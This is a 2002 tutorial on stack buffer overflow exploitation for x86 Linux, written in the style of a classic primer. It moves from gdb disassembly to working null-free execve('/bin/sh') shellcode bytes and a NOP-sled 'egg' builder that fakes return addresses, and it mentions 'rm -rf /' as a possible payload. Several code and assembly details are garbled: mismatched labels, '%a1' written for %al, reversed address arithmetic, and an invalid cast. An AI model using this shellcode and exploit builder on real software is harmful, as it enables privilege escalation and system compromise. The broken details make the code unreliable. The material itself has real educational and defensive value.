

Hacking 101, or “How they do unto you!”

The BitShifter

March 8, 2002

1 Introduction

In this, the first installment, we will discuss Buffer Overflows, what they are and how they work. By the end of this document, you should be able to create your very own working exploit. This document assumes you have a basic knowledge of C/C++ and, at least, have heard of Assembly language. Unless otherwise specified, all examples are on Intel x86 architecture

2 Background

First, a few terms need to be defined. For example, what is a stack? A stack is an area of memory that is used for “scratch” purposes, that is variables. That isn’t all that is stored on the stack, when you call a function, the return address (where you were when you called the subroutine) is also on the stack. It is important to note that on several major platforms (Intel being most notable) the stack grows down from high addresses to lower. I.E. from $0xFFFFFFFF$ → $0xFFFFFFFFB$ → $0xFFFFFFFF7$ (Interesting note, gcc allocates its space in 4 byte blocks)

Next, let us define a buffer overflow. A buffer in this instance is any array. It could be an array of characters, an array of numbers, whatever. An overflow is whenever you try to stick more information into an array than you allocated for it. Example:

```
char tmp[] = "My name is frederic tatum!";
char name[16]; /* We only have 15 spaces for the name, remember the \0 at the
               end!*/
printf("The string \"%s\" is %d characters long!",tmp, strlen(tmp));
strcpy(name,tmp); /* name is dest, tmp is source... but... strlen(tmp) = 27
                  26 characters plus the terminating null! Oops!*/
```

3 Buffer Overflows in Action

What happens when we run this code? Lets find out.

```
[root@localhost h101]# gcc test.c
[root@localhost h101]# ./a.out
We are taking the string tmp = "My name is Frederic Tatum!" and putting it
in a buffer of length 16, lets see what happens!
```

The string "My name is Frederic Tatum!" is 26 characters long!

the buffer is 16 characters long

```
The name is: "My name is Frederic Tatum!"!
tmp[] is: "ric Tatum!"!
[root@localhost h101]#
```

What happened? Why was our original string trashed? Lets take a look at what gcc turns our source code into. The following is an assembler dump of the executable created earlier.

```
[root@localhost h101]# gdb a.out
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x80484d0 <main>:      push   %ebp
0x80484d1 <main+1>:     mov    %esp,%ebp
0x80484d3 <main+3>:     push   %edi
0x80484d4 <main+4>:     push   %esi
0x80484d5 <main+5>:     sub    $0x30,%esp
0x80484d8 <main+8>:     lea   0xffffffff8(%ebp),%eax
0x80484db <main+11>:    sub    $0x20,%eax
0x80484de <main+14>:    lea   0xfffffd8(%ebp),%edi
0x80484e1 <main+17>:    mov    $0x8048600,%esi
.
.
.
```

Somewhat cryptic, the part we care about is `<main+5> sub $0x30, %esp`. On an Intel machine, `%esp` is the stack pointer (Remember, we're smashing the stack). When gcc allocates space for a variable, it is allocated off the stack. Since the stack grows down, we need to subtract however much area we need from the current stack pointer to get some free memory BELOW the currently used stack space. That is an important concept, BELOW the currently used stack space.

Now, how does this help us explain what happened to our strings? When an array is stored it is stored in consecutive ASCENDING memory locations. Remember from above, the stack grows down! We declared `tmp[]` then `name[]`, `name[]` is BELOW `tmp[]` on the stack. We tried to stuff 26 characters into `name[]` and we only allocated 16 characters off the stack for `name`. So what did the code do? `strcpy()` started from the first address allocated for `name[]` and just blindly copied all 26 characters from (plus the terminating null) copying over all the data that was on the stack before it. What would have happened if we hadn't had `tmp[]` on the stack before `name`? Well, what's on the stack before `tmp[]`? The assembler dump begins with a `push %ebp` and continues on with some other stuff, what this does is it saves the "stack frame" basically the stack frame is a snapshot of what the processor was doing before the function started. Part of this is the instruction pointer register (`%eip`), lets take a look at a second assembler dump. This is basically the same code except its wrapped into a function so that we can see what happens as we call our code.

```
[root@localhost h101]# gcc test2.c
[root@localhost h101]# gdb a.out
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x80484d0 <main>:      push   %ebp
```

```

0x80484d1 <main+1>:    mov    %esp,%ebp
0x80484d3 <main+3>:    sub    $0x8,%esp
0x80484d6 <main+6>:    call  0x80484e4 <print>
0x80484db <main+11>:   mov    $0x0,%eax
0x80484e0 <main+16>:   leave
0x80484e1 <main+17>:   ret
0x80484e2 <main+18>:   mov    %esi,%esi

```

End of assembler dump.

(gdb) disassemble print

Dump of assembler code for function print:

```

0x80484e4 <print>:    push  %ebp
0x80484e5 <print+1>:   mov    %esp,%ebp
0x80484e7 <print+3>:   sub    $0x18,%esp
0x80484ea <print+6>:   sub    $0x8,%esp
0x80484ed <print+9>:   push  $0x80496f0
0x80484f2 <print+14>:  push  $0x8048600
0x80484f7 <print+19>:  call  0x8048394 <printf>
0x80484fc <print+24>:  add    $0x10,%esp
0x80484ff <print+27>:  sub    $0x4,%esp
.
.
.
0x8048561 <print+125>: add    $0x10,%esp
0x8048564 <print+128>: leave
0x8048565 <print+129>: ret
0x8048566 <print+130>: mov    %esi,%esi
0x8048568 <print+132>: nop

```

Ok, Looks good. When our code (test2.c) runs, we might overwrite some data, but we didn't allocate anything so we should be safe. Lets run it.

(gdb) run

Starting program: /root/h101/a.out

We are taking the string "My name is Frederic Tatum!" and putting it in a buffer of length16, lets see v

The string "My name is Frederic Tatum!" is 26 characters long!

the buffer is 16 characters long

The name is: "My name is Frederic Tatum!"!

tmp[] is: "My name is Frederic Tatum!"!

Program received signal SIGSEGV, Segmentation fault.

0x080484e0 in main ()

(gdb)

Everything looks good, well, up until the segfault. The name got copied just fine. What happened? Why did we get a segfault? Look at the disassembly of main, specifically

```
<main+6>:    call  0x80484e4 <print>
```

Why is this instruction important you ask? This is one of those instructions that hides a lot of work. the call instruction actually saves a copy of %eip (the instruction pointer remember?) guess where... thats right, on the stack. Recall, the stack "grows" down. So %eip is saved above our buffer in the stack. When we copy so much data blindly up the stack, we can actually overwrite the return address of the function so program flow doesn't go back where it's supposed to. Lets modify our program a little so that we can more easily see the data we are copying onto the stack. Let us use a string of "A"s (0x41).

```
[root@localhost h101]# gcc test3.c
```

```

[root@localhost h101]# gdb a.out
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) run
Starting program: /root/h101/a.out
We are taking the string "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" and putting it in a buffer of length16, lets :
The string "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" is 30 characters long!
the buffer is 16 characters long
The name is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"!
tmp[] is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"!

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) backtrace
#0 0x08004141 in ?? ()
Cannot access memory at address 0x41414141
(gdb)

```

Oops, can't access memory location 0x41414141. But we don't want to access 0x41414141, we wanted to return to 0x080484DB and finish our program! We overwrote the return address... what else can we do? We have shown that we could overwrite the return address with arbitrary data, in this case we chose "A"s to be our arbitrary data because this was easy to recognize. What if we did something silly like put the address of another function in the buffer? (Note: since gcc aligns everything to four byte boundaries, we don't have to worry about if our four byte pointer to the next function isn't aligned right, it has to be!)

4 Bending the Stack to Our Will

Ok, we know we can overwrite the return address of a function with arbitrary data, does this mean we can make the function return to wherever we want? Say, to another function? Consider the following listing (test4.c):

```

[root@localhost h101]# gcc test4.c
[root@localhost h101]# gdb a.out
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048500 <main>:      push   %ebp
0x8048501 <main+1>:    mov    %esp,%ebp
0x8048503 <main+3>:    sub    $0x8,%esp
0x8048506 <main+6>:    call  0x8048514 <print>
0x804850b <main+11>:   mov    $0x0,%eax
0x8048510 <main+16>:   leave
0x8048511 <main+17>:   ret

```

```

0x8048512 <main+18>:   mov    %esi,%esi
End of assembler dump.
(gdb) disassemble msg
Dump of assembler code for function msg:
0x8048598 <msg>:      push  %ebp
0x8048599 <msg+1>:     mov   %esp,%ebp
0x804859b <msg+3>:     sub   $0x8,%esp
0x804859e <msg+6>:     sub   $0xc,%esp
0x80485a1 <msg+9>:     push  $0x8048710
0x80485a6 <msg+14>:    call  0x80483b8 <printf>
0x80485ab <msg+19>:    add   $0x10,%esp
0x80485ae <msg+22>:    sub   $0xc,%esp
0x80485b1 <msg+25>:    push  $0x0
0x80485b3 <msg+27>:    call  0x80483d8 <exit>
End of assembler dump.
(gdb) disassemble print
Dump of assembler code for function print:
0x8048514 <print>:    push  %ebp
0x8048515 <print+1>:   mov   %esp,%ebp
0x8048517 <print+3>:   sub   $0x18,%esp
0x804851a <print+6>:   sub   $0x8,%esp
0x804851d <print+9>:   push  $0x8049760
0x8048522 <print+14>:  push  $0x8048640
0x8048527 <print+19>:  call  0x80483b8 <printf>
0x804852c <print+24>:  add   $0x10,%esp
0x804852f <print+27>:  sub   $0x4,%esp
.
.
.
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)

```

In this program, I have added the function `msg()` which merely prints out a message then exits the program. Now, `msg()` is never called in the main function nor is it called in our original `print()` function. Lets see if we can get `msg()` to execute instead of having our program segfault. We can see `msg()` begins at the location `0x8048598`, what would happen if we set up our string to contain that particular address, lets try it. (Note: Intel architecture is what is known as “little endian,” this means the least significant byte is leftmost—backwards from common ordering. What this means is if we want to jump to location `0x8048598` our “string” needs to be `0x98850408`, remember to pad with zeros) The address may be different on your computer, to find the addresses, I compiled with a dummy value in place of my address, then I went back and filled in the proper address from the assembler dump. When run, this is what the program does:

```

(gdb) run
Starting program: /root/h101/a.out
We are taking the string "" and putting it in a buffer of length16,
lets see what happens!
The string "" is 48 characters long!
the buffer is 16 characters long
The name is: ""!
tmp[] is: ""!
This is the end!

Program exited normally.

```

(gdb)

As you can see, everything went according to plan. So now, we know we can get the program to execute arbitrary code... that exists in the executable, what about plain old arbitrary code?

5 Shell Code

What we need is shell code. What is shell code? Shell code is a carefully crafted sequence of bytes that generally executes a command shell (such as bash). It is important to note that while this [that executes a shell] is the most common type of payload for an exploit, we are not limited to this. We could create a payload that executes a daemon, copies a file to another location or even executes the dreaded `rm -rf /`. The code can meet with varying degrees of success depending on the privileges of the program you are exploiting, but I digress.

Ok, on to crafting the shell code. How does the computer execute a program?

```
#include <stdio.h>

int main(void){
char *name[] = {"/bin/sh", 0x00}; /* argument list null terminated */

execve(name[0], name, 0x00); /* executable name, argument list, env list */
}
```

This executes `/bin/sh`. This is the shortest program I know of that executes a program. Lets take a look at what it is actually doing when it executes this.

```
[root@localhost h101]# gcc test6.c -ggdb -static
[root@localhost h101]# gdb a.out
(gdb) disassemble main
Dump of assembler code for function main:
0x8048460 <main>:      push   %ebp
0x8048461 <main+1>:     mov    %esp,%ebp
0x8048463 <main+3>:     sub    $0x8,%esp
0x8048466 <main+6>:     lea   0xffffffff8(%ebp),%eax
0x8048469 <main+9>:     movl  $0x80484f8,0xffffffff8(%ebp)
0x8048470 <main+16>:    movl  $0x0,0xffffffffc(%ebp)
0x8048477 <main+23>:    sub    $0x4,%esp
0x804847a <main+26>:    push  $0x0
0x804847c <main+28>:    lea   0xffffffff8(%ebp),%eax
0x804847f <main+31>:    push  %eax
0x8048480 <main+32>:    pushl 0xffffffff8(%ebp)
0x8048483 <main+35>:    call  0x804831c <__execve>
0x8048488 <main+40>:    add   $0x10,%esp
0x804848b <main+43>:    leave
0x804848c <main+44>:    ret
End of assembler dump.
(gdb)
```

`<main+23>` is where the call to `execve()` begins. We push the arguments for `execve()` onto the stack in reverse order, first comes the null for the `env[]`. Next comes the address of the argument array `name[]`, and finally the address of the program name `name[0]` or `"/bin/sh\0"` is pushed onto the stack, then `execve` is called. Lets see what `execve` is doing.

```
(gdb) disassemble __execve
Dump of assembler code for function __execve:
```

```

.
.
0x804cabc <__execve+12>:    mov     0x8(%ebp),%edi  ;copy addr of name[0]
0x804cabf <__execve+15>:    je      0x804cac6 <__execve+22>
0x804cac1 <__execve+17>:    call   0x0
0x804cac6 <__execve+22>:    mov     0xc(%ebp),%ecx  ;address of name[]
0x804cac9 <__execve+25>:    mov     0x10(%ebp),%edx ;address of NULL
0x804cacc <__execve+28>:    push   %ebx
0x804cacd <__execve+29>:    mov     %edi,%ebx ;move address of name[0]
0x804cacf <__execve+31>:    mov     $0xb,%eax ;execve in syscall table
0x804cad4 <__execve+36>:    int     $0x80          ;call system
.
.
0x804caf4 <__execve+68>:    ret
End of assembler dump.
(gdb)

```

Note: everything after the ‘;’ was added by me as an explanation
 Lets condense this to its essentials, we need:

1. Have “/bin/sh\0” in memory
2. Have the address of “/bin/sh\0” followed by a long null word in memory
3. Copy 0xb into EAX
4. Copy the address of the address of “/bin/sh\0” into EBX
5. Copy the address of “/bin/sh\0” into ECX
6. The address of the null long word into EDX
7. Execute “int 0x80”

Now we know what we need so lets do it!

```

int main(void){
__asm__(
    jmp     cll          # Jump to cll
mee:    popl    %esi      # Get the address of "/bin/sh" from the stack
        movl    %esi,0x8(%esi)  # Move the address of the address of
        #       the string onto the stack
        movb    $0x0,0x7(%esi)  # NULL terminate "/bin/sh"
        movl    $0x0,0xc(%esi)  # Create a NULL long word
        movl    $0xb,%eax      # Offset of execve in syscall[] table
        movl    %esi,%ebx      # Address of address of "/bin/sh\0"
        leal   0x8(%esi),%ecx   # Address of "/bin/sh\0"
        leal   0xc(%esi),%edx   # Address of NULL long byte
        int     $0x80          # execute a system call
c11:    call   mee          # PUSHes address of .string onto stack
        .string "/bin/sh\"    # 8 byte string
");
}

```

Note: This code modifies itself and causes a segmentation violation when run because the “text” (code) segment of memory is flagged for write protection, however, if we got the code into the stack segment, we can write and execute. Now, to get the shell code, all we have to do is compile the code and examine the bytes.

```

[root@localhost h101]# gcc shellcode.c -g
[root@localhost h101]# gdb a.out
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
(gdb) disassemble main
Dump of assembler code for function main:
0x8048430 <main>:      push   %ebp
0x8048431 <main+1>:    mov    %esp,%ebp
0x8048433 <main+3>:    jmp   0x804845f <c11>
0x8048435 <mee>:      pop    %esi
.
.
.
0x804846b <c11+12>:   add   %bl,0xfffffc3(%ebp)
End of assembler dump.
(gdb)

```

A little bit of address math, $0x8048433 - 0x804846b = 0x38 = 56$ bytes of shell code which we get like this:

```

(gdb) x/56xb main+3
0x8048433 <main+3>:  0xeb  0x2a  0x5e  0x89  0x76  0x08  0xc6  0x46
0x804843b <mee+6>:    0x07  0x00  0xc7  0x46  0x0c  0x00  0x00  0x00
0x8048443 <mee+14>:   0x00  0xb8  0x0b  0x00  0x00  0x00  0x89  0xf3
0x804844b <mee+22>:   0x8d  0x4e  0x08  0x8d  0x56  0x0c  0xcd  0x80
0x8048453 <mee+30>:   0xb8  0x01  0x00  0x00  0x00  0xbb  0x00  0x00
0x804845b <mee+38>:   0x00  0x00  0xcd  0x80  0xe8  0xd1  0xff  0xff
0x8048463 <c11+4>:   0xff  0x2f  0x62  0x69  0x6e  0x2f  0x73  0x68
(gdb)

```

Take the byte values and put them into a string like so:

```

char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c"
                  "\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e"
                  "\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00"
                  "\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68";

```

Lets see if it truly works,

```

[root@localhost h101]# cat > shellcode2.c
#include <string.h>

char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c"
                  "\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e"
                  "\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00"
                  "\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68";

int main(void){
int (*tmp)(void);
char test[57];
memcpy(test,shellcode,sizeof(shellcode));
tmp = test;
tmp();
}

```

```

[root@localhost h101]# gcc shellcode2.c
shellcode2.c: In function 'main':
shellcode2.c:13: warning: assignment from incompatible pointer type
[root@localhost h101]# ./a.out
sh-2.05# exit
exit
[root@localhost h101]#

```

It works! However, our shell code contains null bytes, this isn't going to help us much if we want to exploit a function that stops on a null byte (such as strcpy()). What can we do about it? First lets find out which instructions contain the null bytes. Lets go back to our original code and try and find ways around the null bytes.

```

(gdb) disassemble main
Dump of assembler code for function main:
0x8048430 <main>:      push  %ebp
0x8048431 <main+1>:    mov   %esp,%ebp
0x8048433 <main+3>:    jmp  0x804845f <c11>
0x8048435 <mee>:       pop   %esi
0x8048436 <mee+1>:     mov   %esi,0x8(%esi)
0x8048439 <mee+4>:     movb  $0x0,0x7(%esi) ;One null byte!
0x804843d <mee+8>:     movl  $0x0,0xc(%esi) ;One null word!
0x8048444 <mee+15>:    mov  $0xb,%eax
0x8048449 <mee+20>:    mov  %esi,%ebx
0x804844b <mee+22>:    lea  0x8(%esi),%ecx
0x804844e <mee+25>:    lea  0xc(%esi),%edx
0x8048451 <mee+28>:    int  $0x80
0x8048453 <mee+30>:    mov  $0x1,%eax ;This code is in case of an error
0x8048458 <mee+35>:    mov  $0x0,%ebx ;in the execution of execve, it
0x804845d <mee+40>:    int  $0x80 ;is unnecessary for us.
0x804845f <c11>:     call 0x8048435 <mee>
(gdb)

```

As you can see, our problem instructions are <mee+4> and <mee+8>. How can we get rid of these? How can we get a null without stopping the string? Well, do we have an instruction that can get create a null? It turns out we do. XOR or "exclusive or" of two bytes gives us a byte that has only the bit by bit differences turned on, example 1001b XOR 1011b = 0010b, 1001b XOR 1001b = 0000b. We can XOR registers together like this xor reg1, reg2 with the result stored into reg1. How about xor ax, ax? After that modification, we get the following:

```

(gdb) disassemble main
Dump of assembler code for function main:
0x8048430 <main>:      push  %ebp
0x8048431 <main+1>:    mov   %esp,%ebp
0x8048433 <main+3>:    jmp  0x804845c <c11>
0x8048435 <mee>:       pop   %esi
0x8048436 <mee+1>:     mov   %esi,0x8(%esi)
0x8048439 <mee+4>:     xor   %eax,%eax
0x804843b <mee+6>:     mov  %al,0x7(%esi)
0x804843e <mee+9>:     mov  %eax,0xc(%esi)
0x8048441 <mee+12>:    mov  $0xb,%eax
0x8048446 <mee+17>:    mov  %esi,%ebx
0x8048448 <mee+19>:    lea  0x8(%esi),%ecx
0x804844b <mee+22>:    lea  0xc(%esi),%edx
0x804844e <mee+25>:    int  $0x80
0x8048450 <mee+27>:    mov  $0x1,%eax ;offset to exit() in syscall[]

```

```

0x8048455 <mee+32>:    mov    $0x0,%ebx ;return code
0x804845a <mee+37>:    int   $0x80      ;syscall() (Not actually needed)
0x804845c <c11>:        call  0x8048435 <mee>
0x8048461 <c11+5>:    das
0x8048462 <c11+6>:    bound %ebp,0x6e(%ecx)
0x8048465 <c11+9>:    das
0x8048466 <c11+10>:   jae   0x80484d0 <_fp_hw>
0x8048468 <c11+12>:   add   %bl,0xffffffffc3(%ebp)

```

End of assembler dump.

(gdb) x/56xb main+3

```

0x8048433 <main+3>:    0xeb  0x27  0x5e  0x89  0x76  0x08  0x31  0xc0
0x804843b <mee+6>:      0x88  0x46  0x07  0x89  0x46  0x0c  0xb8  0x0b
0x8048443 <mee+14>:    0x00  0x00  0x00  0x89  0xf3  0x8d  0x4e  0x08
0x804844b <mee+22>:    0x8d  0x56  0x0c  0xcd  0x80  0xb8  0x01  0x00
0x8048453 <mee+30>:    0x00  0x00  0xbb  0x00  0x00  0x00  0x00  0xcd
0x804845b <mee+38>:    0x80  0xe8  0xd4  0xff  0xff  0xff  0x2f  0x62
0x8048463 <c11+7>:    0x69  0x6e  0x2f  0x73  0x68  0x00  0x5d  0xc3

```

(gdb)

As you can see, we got rid of a few of the null bytes, but there are still that weren't quite as obvious. The next null byte is at <mee+14> which is embedded in the instruction "mov \$0xb,%eax" we can replace this with a "mov \$0xb,%a1" because we already zeroed out the top 3 bytes of %eax with the "xor %eax,%eax". [Note: Intel weirdness, registers on the 32 bit processors 80386-Pentium 4 can be used in a number of ways for example, %eax is the full 32 bit ax register, it can also be referenced %ax which is a 16 bit register, OR it can be referenced as %ah and %a1 which are the high and low bytes respectively of %ax.] The last set of nulls can be removed simply by removing the code associated with them. The code merely makes the shell code exit cleanly in event of an error with the `execve()`. This prevents the program being exploited from "dumping core" and making it just a little more difficult to find out what happened in event that your exploit didn't work right. It is left as an exercise to the reader to add this code back in. So now our code now looks like this:

(gdb) disassemble main

Dump of assembler code for function main:

```

0x8048430 <main>:      push  %ebp
0x8048431 <main+1>:    mov   %esp,%ebp
0x8048433 <main+3>:    jmp   0x804844d <c11>
0x8048435 <mee>:       pop   %esi
0x8048436 <mee+1>:    mov   %esi,0x8(%esi)
0x8048439 <mee+4>:    xor   %eax,%eax
0x804843b <mee+6>:    mov   %a1,0x7(%esi)
0x804843e <mee+9>:    mov   %eax,0xc(%esi)
0x8048441 <mee+12>:   mov   $0xb,%a1
0x8048443 <mee+14>:   mov   %esi,%ebx
0x8048445 <mee+16>:   lea  0x8(%esi),%ecx
0x8048448 <mee+19>:   lea  0xc(%esi),%edx
0x804844b <mee+22>:   int   $0x80
0x804844d <c11>:     call  0x8048435 <mee>
0x8048452 <c11+5>:    das
0x8048453 <c11+6>:    bound %ebp,0x6e(%ecx)
0x8048456 <c11+9>:    das
0x8048457 <c11+10>:   jae   0x80484c1 <_fp_hw+1>
0x8048459 <c11+12>:   add   %bl,0xffffffffc3(%ebp)

```

End of assembler dump.

(gdb)

Down to 38 bytes... Good! our bytes now look like this:

```
(gdb) x/38xb main+3
0x8048433 <main+3>:      0xeb  0x18  0x5e  0x89  0x76  0x08  0x31  0xc0
0x804843b <mee+6>:      0x88  0x46  0x07  0x89  0x46  0x0c  0xb0  0x0b
0x8048443 <mee+14>:     0x89  0xf3  0x8d  0x4e  0x08  0x8d  0x56  0x0c
0x804844b <mee+22>:     0xcd  0x80  0xe8  0xe3  0xff  0xff  0xff  0x2f
0x8048453 <c11+6>:      0x62  0x69  0x6e  0x2f  0x73  0x68
(gdb)
```

Lets get them into our test program!

```
[root@localhost h101]# cat > shellcode5.c
#include <string.h>

char shellcode[] = {0xeb,0x18,0x5e,0x89,0x76,0x08,0x31,0xc0,0x88,0x46,
                   0x07,0x89,0x46,0x0c,0xb0,0x0b,0x89,0xf3,0x8d,0x4e,
                   0x08,0x8d,0x56,0x0c,0xcd,0x80,0xe8,0xe3,0xff,0xff,
                   0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68};

int main(void){
int (*tmp)(void);
char test[57];
memcpy(test,shellcode,sizeof(shellcode));
tmp = test;
tmp();
}
```

```
[root@localhost h101]# gcc shellcode5.c
shellcode5.c: In function 'main':
shellcode5.c:11: warning: assignment from incompatible pointer type
[root@localhost h101]# ./a.out
sh-2.05# exit
exit
[root@localhost h101]#
```

And it works!! Working shell code! We certainly have come a long way from the beginning. Unfortunately we still haven't finished. We are left with the question, how is this used in an exploit?

6 Smashing the Stack For PROFIT!

Recall that the stack “grows” down. ‘S’ = stack space; ‘B’ = buffer we are overwriting; ‘R’ = return address we are overwriting, one char = 4 bytes. The []’s are for convenience. With this key, the stack looks something like this:

```
lower addresses <----- 0xffff
[SSSSSS] [BBBBBB] [SSSS] [R] [SSSSSSSS]
          ^ this is the byte we want to overwrite.
```

Taking a look at the “map” of the stack, we figure, we need to craft a string such that we have shell code at the beginning and the address of the beginning of our shell code repeated afterwards until it overwrites the return address of the function, string would look something like this ‘s’ = shell code, ‘r’ = return address to the beginning of the shell code

```
[sssssssss] [rrrrrrrrrrrrrrrrrr] [0]
```

The string gets copied onto the stack like so:

```

lower addresses <----- 0xffff
[SSSSSS] [BBBBBBBBBBBB] [SSSSS] [R] [SSSSSSSSS]
      [sssssssss] [rrrrrrrrrrrr] [0]

```

When you have access to the machine and gdb, crafting this string is trivial, however we are assuming you don't have access to the machine (realistic assumption). So, how are we going to get the proper return address? It wouldn't do if you started randomly executing some spot on the stack. So, how do we get the right spot? Well, we can approximate where our string is and pad one side of it with an instruction 1 byte long that does nothing so that we don't have to be exactly right on the money. Our string would begin to look like this 'n' = NOP (luckily Intel provides us with the NOP instruction)

```

lower addresses <----- 0xffff
[SSSSSS] [BBBBBBBBBBBB] [SSSSS] [R] [SSSSSSSSS]
      [nnnnn] [sssssssss] [rrrrrrrrrrrr] [0]
      ^-----|

```

Now, how do we get the approximation for the address of our code? We rely on a little bit of statistics. The average program only allocates a few hundred to a few thousand bytes at a time. Also, the stack segment is generally in about the same spot for every program. So all we need is to create a program to tie all this together. We need to get the stack pointer, create a string that begins with a series of NOPs, insert our shell code and then create tack to the end of that a string containing the estimated address of the beginning of our string. We'll do that like this.

```

/* this program puts a shell code in the environment variable $EGG */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BUFFLEN 256      /* number of bytes of the buffer we're overflowing*/
#define NOP 0x90        /* byte value for the nop instruction */
#define CODELEN 512     /* length of shell code we need */
#define NOPLEN 128      /* num of NOPs to pad with */
#define OFFSET 0        /* any extra offset we need to get to the NOPs */

char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46"
                  "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
                  "\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff"
                  "\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int stack_loc(void){
  __asm__("mov %esp, %eax"); /* get the current stack location */
}

int main(void){
  static char tmp[CODELEN];
  int i;
  int retaddr = stack_loc() - BUFFLEN - OFFSET; /* approximate the location of
  our shell code so that we can jump to it */

  memset(tmp, NOP, NOPLEN); /* fill in the NOPs */
  memcpy(&tmp[NOPLEN], shellcode, sizeof(shellcode)); /* add the shellcode */
  memcpy(tmp, "EGG=", 4);

  for(i=(NOPLEN+sizeof(shellcode))-1; i < CODELEN-4; i+=4){
    (int)((int*)(tmp+i))=retaddr; /* fill the rest of the string with the

```

```
                                return addr */  
    }  
    putenv(tmp);  
    system("/bin/sh");  
}
```

7 Vulnerable functions

This is a short list of functions that do not check string bounds when copying

- strcpy()
- sprintf()
- vsprintf()
- cin

8 Conclusion

At this point you have been exposed to the internals of computer programs. You have dealt with stacks and should be able to craft exploits on your own now. Have fun, and keep it legal!